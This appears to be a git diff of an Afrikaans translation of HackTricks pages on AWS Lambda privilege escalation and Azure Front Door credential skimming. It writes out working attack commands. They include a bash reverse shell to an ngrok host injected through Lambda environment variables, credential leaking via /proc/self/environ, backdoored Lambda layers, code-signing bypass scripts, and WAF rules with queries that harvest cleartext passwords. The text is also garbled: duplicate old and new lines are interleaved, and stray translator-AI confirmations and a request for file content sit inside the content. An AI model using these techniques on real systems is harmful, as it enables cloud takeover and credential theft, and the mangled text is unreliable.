Gebruikers met die **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissies kan hul voorregte eskaleer.\
Hulle kan **'n nuwe Lambda function skep en dit 'n bestaande IAM role toewys**, waardeur die funksie die permissies kry wat met daardie rol geassosieer is. Die gebruiker kan dan **kode skryf en oplaaI na hierdie Lambda function (byvoorbeeld met 'n rev shell)**.\
Sodra die funksie ingestel is, kan die gebruiker **die uitvoering daarvan trigger** en die beoogde aksies laat plaasvind deur die Lambda function via die AWS API aan te roep. Hierdie benadering laat die gebruiker effektief toe om take indirek deur die Lambda function uit te voer, met die vlak van toegang wat aan die geassosieerde IAM role verleen is.\\
'n aanvaller kan dit misbruik om 'n **rev shell en die token te steel**:
```python:rev.py
@@ -46,7 +46,7 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
Jy kan ook **abuse the lambda role permissions** van die lambda function self.\
Jy kan ook **abuse the lambda role permissions** vanaf die lambda function self.\
As die lambda role genoeg permissions gehad het, kon jy dit gebruik om admin rights aan jouself toe te ken:
```python
import boto3
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
Dit is ook moontlik om die lambda se roltoegangbewyse te leak sonder 'n eksterne verbinding. Dit sal nuttig wees vir **Network isolated Lambdas** wat vir interne take gebruik word. As daar onbekende security groups is wat jou reverse shells filtreer, sal hierdie stukkie kode jou in staat stel om direk die roltoegangbewyse as die uitset van die lambda te leak.
Dit is ook moontlik om die lambda se role credentials te leak sonder 'n eksterne verbinding. Dit sal nuttig wees vir **Network isolated Lambdas** wat op interne take gebruik word. As daar onbekende security groups is wat jou reverse shells filter, sal hierdie stuk kode jou toelaat om die credentials direk as die output van die lambda te leak.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,34 +72,34 @@ return {
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Potensiële impak:** Direkte privesc na die arbitrêre lambda service role wat gespesifiseer is.
**Potensiële impak:** Direkte privesc na die ewekansige lambda-diensrol wat gespesifiseer is.
> [!CAUTION]
> Neem kennis dat selfs al mag dit interessant lyk **`lambda:InvokeAsync`** **laat nie** op sigself toe om **`aws lambda invoke-async`** uit te voer nie; jy benodig ook `lambda:InvokeFunction`
> Let wel: alhoewel dit interessant mag lyk, **`lambda:InvokeAsync`** **laat nie** op sigself toe om **`aws lambda invoke-async`** uit te voer nie — jy benodig ook `lambda:InvokeFunction`
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
Soos in die vorige scenario, kan jy jouself die toestemming **`lambda:InvokeFunction`** gee as jy die toestemming **`lambda:AddPermission`** het.
Soos in die vorige scenario, kan jy **verleen jouself die `lambda:InvokeFunction` toestemming** as jy die toestemming **`lambda:AddPermission`** het.
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**Potensiële impak:** Direkte privesc na die gespesifiseerde ewekansige lambda-diensrol.
**Potensiële impak:** Direkte privesc na die arbitrêre Lambda diensrol wat gespesifiseer is.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
Gebruikers met **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** toestemmings (en moontlik `dynamodb:PutItem` en `dynamodb:CreateTable`) kan indirek **escalate privileges** selfs sonder `lambda:InvokeFunction`.\
Hulle kan 'n **Lambda-funksie met kwaadwillige kode skep en dit 'n bestaande IAM-rol toewys**.
Gebruikers met **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissies (en moontlik `dynamodb:PutItem` en `dynamodb:CreateTable`) kan indirek **escalate privileges** selfs sonder `lambda:InvokeFunction`.\
Hulle kan 'n **Lambda function met kwaadaardige code skep en dit 'n bestaande IAM role toewys**.
In plaas daarvan om die Lambda direk aan te roep, stel die gebruiker 'n bestaande DynamoDB-tabel op of gebruik dit en koppel dit aan die Lambda deur 'n event source mapping. Hierdie opstelling verseker dat die Lambda-funksie **outomaties geaktiveer word wanneer 'n nuwe item** in die tabel ingevoeg word, hetsy deur die gebruiker se aksie of 'n ander proses, en roep sodoende indirek die Lambda-funksie aan en voer die kode uit met die toestemmings van die deurgegee IAM-rol.
In plaas daarvan om die Lambda direk aan te roep, stel die gebruiker 'n bestaande DynamoDB tabel op of gebruik dit, en koppel dit aan die Lambda deur 'n event source mapping. Hierdie opstelling verseker dat die Lambda function **outomaties getrigger word wanneer 'n nuwe item** in die tabel ingevoeg word, hetsy deur die gebruiker se aksie of 'n ander proses, en roep sodoende die Lambda function indirek aan en voer die kode uit met die permissies van die gegewe IAM role.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
As DynamoDB reeds in die AWS-omgewing aktief is, hoef die gebruiker slegs **die event source mapping op te stel** vir die Lambda-funksie. Indien DynamoDB egter nie in gebruik is nie, moet die gebruiker **'n nuwe tabel skep** met streaming geaktiveer:
Indien DynamoDB reeds aktief is in die AWS-omgewing, hoef die gebruiker slegs die event source mapping vir die Lambda-funksie op te stel. Indien DynamoDB egter nie in gebruik is nie, moet die gebruiker 'n nuwe tabel skep met streaming aangeskakel:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Nou is dit moontlik om **die Lambda function aan die DynamoDB table te koppel** deur **'n event source mapping te skep**:
Nou is dit moontlik **om die Lambda function aan die DynamoDB table te koppel** deur **'n event source mapping te skep**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
Met die Lambda-funksie gekoppel aan die DynamoDB stream, kan die aanvaller **indirek die Lambda trigger deur die DynamoDB stream te aktiveer**. Dit kan bereik word deur **'n item in te voeg** in die DynamoDB table:
Met die Lambda-funksie wat aan die DynamoDB stream gekoppel is, kan die aanvaller **indirek die Lambda uitlok deur die DynamoDB stream te aktiveer**. Dit kan bereik word deur **'n item in te voeg** in die DynamoDB table:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**Potensiële impak:** Direkte privesc na die gespesifiseerde lambda service role.
**Potential Impact:** Direkte privesc na die gespesifiseerde lambda service role.
### `lambda:AddPermission`
'n aanvaller met hierdie toestemming kan **homself (of ander) enige toestemmings gee** (dit genereer resource based policies om toegang tot die resource te verleen):
'n attacker met hierdie toestemming kan **homself (of ander) enige permissions toeken** (dit genereer resource based policies om toegang tot die resource te verleen):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,11 +130,11 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Potensiële impak:** Direkte privesc na die lambda-diensrol wat gebruik word deur toestemming te verleen om die kode te wysig en dit uit te voer.
**Potensiële impak:** Direkte privesc na die lambda diensrol deur toestemming te gee om die kode te wysig en dit uit te voer.
### `lambda:AddLayerVersionPermission`
'n aanvaller met hierdie toestemming kan **homself (of ander) die toestemming `lambda:GetLayerVersion` verleen**. Hy kan toegang tot die layer kry en daarin soek na kwesbaarhede of sensitiewe inligting.
’n aanvaller met hierdie toestemming kan **homself (of ander) die toestemming `lambda:GetLayerVersion` verleen**. Hy kan toegang kry tot die layer en na kwesbaarhede of sensitiewe inligting soek.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
@@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
### `lambda:UpdateFunctionCode`
Gebruikers wat die **`lambda:UpdateFunctionCode`** permissie het, kan die kode van 'n bestaande Lambda-funksie wat aan 'n IAM-rol gekoppel is, wysig.\
Gebruikers wat die **`lambda:UpdateFunctionCode`** permissie het, het die potensiaal om **die kode van 'n bestaande Lambda-funksie wat aan 'n IAM role gekoppel is, te wysig.**\
Die aanvaller kan **die kode van die Lambda wysig om die IAM credentials te exfiltrate**.
Alhoewel die aanvaller dalk nie die direkte vermoë het om die funksie aan te roep nie, as die Lambda-funksie reeds bestaan en in werking is, is dit waarskynlik dat dit deur bestaande werkvloei of gebeurtenisse geaktiveer sal word, wat dus indirek die uitvoering van die gewysigde kode sal fasiliteer.
Alhoewel die aanvaller dalk nie die direkte vermoë het om die funksie te invoke nie, as die bestaande Lambda-funksie reeds in werking is, is dit waarskynlik dat dit deur bestaande workflows of events getrigger sal word, en sodoende indirek die uitvoering van die gewysigde kode fasiliteer.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -157,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**Potensiële impak:** Direkte privesc na die gebruikte lambda service role.
**Potensiële impak:** Direkte privesc na die Lambda-diensrol wat gebruik word.
### `lambda:UpdateFunctionConfiguration`
#### RCE via omgewingsveranderlikes
#### RCE via env variables
Met hierdie permissies is dit moontlik om omgewingsveranderlikes by te voeg wat veroorsaak dat die Lambda arbitraire kode uitvoer. Byvoorbeeld, in python is dit moontlik om die omgewingsveranderlikes `PYTHONWARNING` en `BROWSER` te misbruik om 'n python-proses arbitraire opdragte uit te voer:
Met hierdie permissies is dit moontlik om omgewingsveranderlikes by te voeg wat veroorsaak dat die Lambda arbitrêre kode uitvoer. Byvoorbeeld, in python is dit moontlik om die omgewingsveranderlikes `PYTHONWARNING` en `BROWSER` te misbruik om 'n python-proses arbitrêre opdragte te laat uitvoer:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
Vir ander scripting languages is daar ander env variables wat jy kan gebruik. Vir meer inligting, sien die subafdelings van scripting languages in:
Vir ander scripting languages is daar ander env variables wat jy kan gebruik. Vir meer inligting, kyk na die subafdelings van scripting languages in:
{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
@@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc
#### RCE via Lambda Layers
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) maak dit moontlik om **code** in jou lamdba funksie in te sluit, maar dit **afsonderlik te stoor**, sodat die funksie se code klein kan bly en **verskeie funksies code kan deel**.
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) laat jou toe om **code** in jou lamdba funksie in te sluit, maar **dit afsonderlik te stoor**, sodat die funksie se code klein kan bly en **verskeie funksies code kan deel**.
Binne lambda kan jy die paaie kontroleer waarvandaan python code gelaai word met 'n funksie soos die volgende:
Binne lambda kan jy die paaie nagaan vanwaar python code gelaai word met 'n funksie soos die volgende:
```python
import json
import sys
@@ -185,7 +185,7 @@ import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
Dit is die plekke:
Hierdie is die plekke:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -200,51 +200,51 @@ Dit is die plekke:
Byvoorbeeld, die biblioteek boto3 word gelaai vanaf `/var/runtime/boto3` (4de posisie).
#### Eksploitasie
#### Exploitation
Dit is moontlik om die toestemming `lambda:UpdateFunctionConfiguration` te misbruik om **'n nuwe layer by te voeg** by 'n lambda-funksie. Om arbitrêre code uit te voer, moet hierdie layer 'n **biblioteek hê wat die lambda gaan importeer.** As jy die code van die lambda kan lees, kan jy dit maklik vind. Let ook daarop dat dit moontlik is dat die lambda **reeds 'n layer gebruik** en jy die layer kan **aflaai** en jou **code daarby kan voeg**.
Dit is moontlik om die toestemming `lambda:UpdateFunctionConfiguration` te misbruik om **'n nuwe layer by te voeg** by 'n lambda-funksie. Om ewekansige kode uit te voer, moet hierdie layer 'n **biblioteek bevat wat die lambda gaan importeer.** As jy die kode van die lambda kan lees, kan jy dit maklik vind. Let ook daarop dat dit moontlik is dat die lambda **al 'n layer gebruik** en jy die layer kan **aflaai** en jou kode daar kan **byvoeg**.
Byvoorbeeld, kom ons veronderstel dat die lambda die biblioteek boto3 gebruik; dit sal 'n plaaslike layer skep met die nuutste weergawe van die biblioteek:
Byvoorbeeld, stel ons dat die lambda die biblioteek boto3 gebruik — dit sal 'n plaaslike layer skep met die nuutste weergawe van die biblioteek:
```bash
pip3 install -t ./lambda_layer boto3
```
Jy kan `./lambda_layer/boto3/__init__.py` oopmaak en **add the backdoor in the global code** ('n funksie om credentials te exfiltrate of 'n reverse shell te kry, byvoorbeeld).
Jy kan `./lambda_layer/boto3/__init__.py` oopmaak en **add the backdoor in the global code** (byvoorbeeld 'n funksie om exfiltrate credentials of om 'n reverse shell te kry).
Pak dan die `./lambda_layer` gids as 'n zip en **upload the new lambda layer** in jou eie account (of in die slagoffer s'n, maar jy mag dalk nie die nodige toestemmings hê nie).\
Let wel: jy moet 'n python-folder skep en die libraries daarin plaas om /opt/python/boto3 te override. Ook moet die layer **compatible with the python version** wees wat deur die lambda gebruik word, en as jy dit in jou account upload, moet dit in die **same region:**
Dan, zip daardie `./lambda_layer` gids en **upload the new lambda layer** in jou eie account (of in die slagoffer s'n, maar jy mag dalk nie toestemming daarvoor hê nie).\
Let wel dat jy 'n python folder moet skep en die libraries daar moet plaas om /opt/python/boto3 te override. Ook moet die layer **kompatibel met die python-weergawe** wees wat deur die lambda gebruik word, en as jy dit na jou account upload, moet dit in die **dieselfde regio:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Maak nou die opgelaaide lambda layer **toeganklik vir enige rekening**:
Nou, maak die opgelaaide lambda layer **vir enige rekening toeganklik**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
En heg die lambda layer aan die slagoffer lambda function:
En koppel die lambda layer aan die victim lambda function:
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
Die volgende stap sal wees om óf self **invoke the function** as ons kan, of om te wag totdat i**t gets invoked** op normale wyse — wat die veiliger metode is.
Die volgende stap sou wees om óf self die **roep die funksie aan** as ons kan of te wag totdat i**t aangeroep word** op normale wyse–wat die veiliger metode is.
'n **more stealth way to exploit this vulnerability** kan gevind word in:
A **more stealth way to exploit this vulnerability** kan gevind word in:
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
**Potensiële Impak:** Direkte privesc na die gebruikte lambda service role.
**Potensiële impak:** Direk privesc na die gebruikte lambda service role.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
Miskien kan jy met daardie permissies 'n funksie skep en dit uitvoer deur die URL aan te roep... maar ek kon nie 'n manier vind om dit te toets nie, so laat weet my as jy dit doen!
Miskien met daardie permissies kan jy 'n funksie skep en dit uitvoer deur die URL aan te roep... maar ek kon nie 'n manier vind om dit te toets nie, so laat weet my as jy dit wel doen!
### Lambda MitM
Sommige lambdas gaan **sensitiewe info van gebruikers in parameters ontvang.** As jy RCE kry in een daarvan, kan jy die inligting wat ander gebruikers daaraan stuur exfiltrate, kyk dit in:
Sommige lambdas gaan **sensitiewe info van gebruikers in parameters ontvang.** As jy RCE kry in een daarvan, kan jy die info wat ander gebruikers daaraan stuur exfiltrate; kyk daarvoor in:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -255,21 +255,21 @@ Sommige lambdas gaan **sensitiewe info van gebruikers in parameters ontvang.** A
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../../banners/hacktricks-training.md}}
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
As 'n Lambda funksie code signing afdwing, kan 'n aanvaller wat óf die Code Signing Config (CSC) kan verwyder óf dit na Warn kan downgrade, unsigned code na die funksie deploy. Dit omseil integriteitsbeskermings sonder om die funksie se IAM role of triggers te wysig.
If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
Permissions (one of):
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
Aantekeninge:
- Vir Path B benodig jy nie 'n AWS Signer profiel nie as die CSC policy op `WARN` gestel is (ongetekende artefakte toegelaat).
- Vir Path B, jy benodig nie 'n AWS Signer profile as die CSC policy op `WARN` gestel is (unsigned artifacts allowed).
Stappe (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
@@ -282,7 +282,7 @@ return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
```
Pad A) Verwyder CSC en werk dan die kode by:
Pad A) Verwyder CSC en werk dan die code by:
```bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
@@ -292,7 +292,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
Pad B) Downgrade na Warn en werk die kode by (indien delete nie toegelaat word nie):
Pad B) Degradeer na Warn en werk die kode by (as delete nie toegelaat is nie):
```bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
@@ -303,20 +303,15 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
Bevestig: ek sal die instruksies volg.
- Ek sal relevante Engelse teks na Afrikaans vertaal.
- Ek sal alle markdown/html-sintaks, tags, links en paths presies onveranderd laat.
- Ek sal nie kode, hacking-tegnieke, algemene hacking-woorde, cloud/SaaS-name (bv. aws, gcp), die woord "leak", "pentesting", of skakels vertaal nie.
- Ek sal geen ekstra inhoud byvoeg nie.
Bevestig: Ek sal die relevante Engelse teks uit die aangeduide README.md na Afrikaans vertaal en presies dieselfde markdown- en HTML-sintaksis behou. Ek sal nie code, tegniekname, algemene hacking-woorde, cloud/SaaS-platvormname (bv. Workspace, aws, gcp), die woord "leak", pentesting, skakels, paadjies of enige merkers/tags (bv. {#tabs}, {#ref}, {#include}) vertaal of verander nie. Ek sal geen ekstra inhoud byvoeg nie.
```bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
```
Potensiële impak: Vermoë om ewekansige ongetekende code in 'n function' te push en run wat veronderstel was om signed deployments af te dwing, wat moontlik kan lei tot code execution met die function role's permissions.
Potensiële impak: Vermoë om arbitrary unsigned code in 'n funksie te push en run wat veronderstel was om signed deployments af te dwing, wat moontlik kan lei tot code execution met die function role's permissions.
Opruiming:
```bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
```
{{#include ../../../../banners/hacktricks-training.md}}

75
src/pentesting-cloud/azure-security/az-services/az-front-door.md
View File

@@ -1,18 +1,81 @@
# Az - Lêer Deel
# Az - Front Door
{{#include ../../../banners/hacktricks-training.md}}
## RemoteAddr Omseiling
## RemoteAddr Bypass
Hierdie **[blogpos](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** verduidelik hoe jy, wanneer jy sekere netwerkbeperkings met Azure Front Door konfigureer, kan filter op **`RemoteAddr`** of **`SocketAddr`**. Die hoofverskil is dat **`RemoteAddr`** werklik die waarde van die **`X-Forwarded-For`** HTTP-kop gebruik, wat dit baie maklik maak om te omseil.
This **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** verduidelik hoe, wanneer jy sekere netwerkbeperkings met Azure Front Door konfigureer, jy kan filter op **`RemoteAddr`** of **`SocketAddr`**. Die hoofverskil is dat **`RemoteAddr`** die waarde uit die **`X-Forwarded-For`** HTTP-kop gebruik, wat dit baie maklik maak om te bypass.
Om hierdie reël te omseil, kan geoutomatiseerde gereedskap gebruik word wat **brute-force IP adresse** totdat dit 'n geldige een vind.
Om hierdie reël te bypass kan outomatiese gereedskap gebruik word wat **brute-force IP addresses** totdat dit 'n geldige een vind.
Dit word in die [Microsoft dokumentasie](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction) genoem.
Dit word in die [Microsoft documentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction) genoem.
## Credential Skimming via WAF Custom Rules + Log Analytics
## Verwysings
Misbruik Azure Front Door (AFD) WAF Custom Rules in kombinasie met Log Analytics om cleartext credentials (of other secrets) wat deur die WAF traverse, vas te vang. Dit is nie 'n CVE nie; dit is misbruik van wettige funksies deur enigiemand wat die WAF-beleid kan wysig en die logs kan lees.
Key behavior enabling this:
- AFD WAF Custom Rules can match on request elements including headers and POST parameters.
- When a Custom Rule uses the action Log traffic only, evaluation continues and traffic proceeds (no short-circuit), keeping the flow normal/stealthy.
- AFD writes verbose diagnostics to Log Analytics under Category FrontDoorWebApplicationFirewallLog. Matched payload details are included in details_matches_s along with the rule name in ruleName_s.
### Einde-tot-einde werkvloei
1. Identify target POST parameters
- Inspekteer die login form en noteer parametername (e.g., username, password).
2. Enable diagnostics to Log Analytics
- In your Front Door profile > Monitoring > Diagnostic settings, stuur logs na 'n Log Analytics workspace.
- At minimum, enable the category: FrontDoorWebApplicationFirewallLog.
3. Create a malicious Custom Rule
- Front Door WAF Policy > Custom rules > New rule:
- Name: onskuldige naam, e.g., PasswordCapture
- Priority: lae nommer (e.g., 5) sodat dit vroeg evalueer
- Match: POST arguments username and password with Operator = Any (match any value)
- Action: Log traffic only
4. Genereer gebeure
```bash
curl -i -X POST https://example.com/login \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "username=alice&password=S3cret!"
```
5. Haal credentials uit Log Analytics (KQL)
```kusto
AzureDiagnostics
| where Category == "FrontDoorWebApplicationFirewallLog"
| where ruleName_s == "PasswordCapture"
| project TimeGenerated, ruleName_s, details_matches_s
| order by TimeGenerated desc
```
Ek het die lêerinhoud nodig. Plak asseblief die volledige inhoud van src/pentesting-cloud/azure-security/az-services/az-front-door.md en ek vertaal dit na Afrikaans terwyl ek alle markdown- en HTML-tags, kodeblokkies, skakels en paths onveranderd laat.
```kusto
AzureDiagnostics
| where Category == "FrontDoorWebApplicationFirewallLog" and ruleName_s == "PasswordCapture"
| extend m = parse_json(details_matches_s)
| mv-expand match = m.matches
| project TimeGenerated, ruleName_s, match.matchVariableName, match.matchVariableValue
| order by TimeGenerated desc
```
Die matched values verskyn in details_matches_s en sluit die cleartext waardes in wat by jou reël gepas het.
### Why Front Door WAF and not Application Gateway WAF?
- Application Gateway WAF custom-rule logs sluit nie die lasterende POST/header waardes op dieselfde manier in nie; AFD WAF diagnostics sluit matched content in details in, wat credential capture moontlik maak.
### Stealth and variants
- Stel Action op 'Log traffic only' om te voorkom dat versoeke gebreek word en om ander reëls normaal te laat evalueer.
- Gebruik 'n lae numeriese Priority sodat jou logging rule evalueer voordat enige latere Block/Allow reëls.
- Jy kan enige sensitiewe name/liggings teiken, nie net POST params nie (bv. headers soos Authorization of API tokens in body fields).
### Prerequisites
- 'n Bestande Azure Front Door instance.
- Magtigings om die AFD WAF policy te wysig en die geassosieerde Log Analytics workspace te lees.
## References
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
- [Skimming Credentials with Azure's Front Door WAF](https://trustedsec.com/blog/skimming-credentials-with-azures-front-door-waf)
- [Azure WAF on Front Door monitoring and logging](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-monitor)
{{#include ../../../banners/hacktricks-training.md}}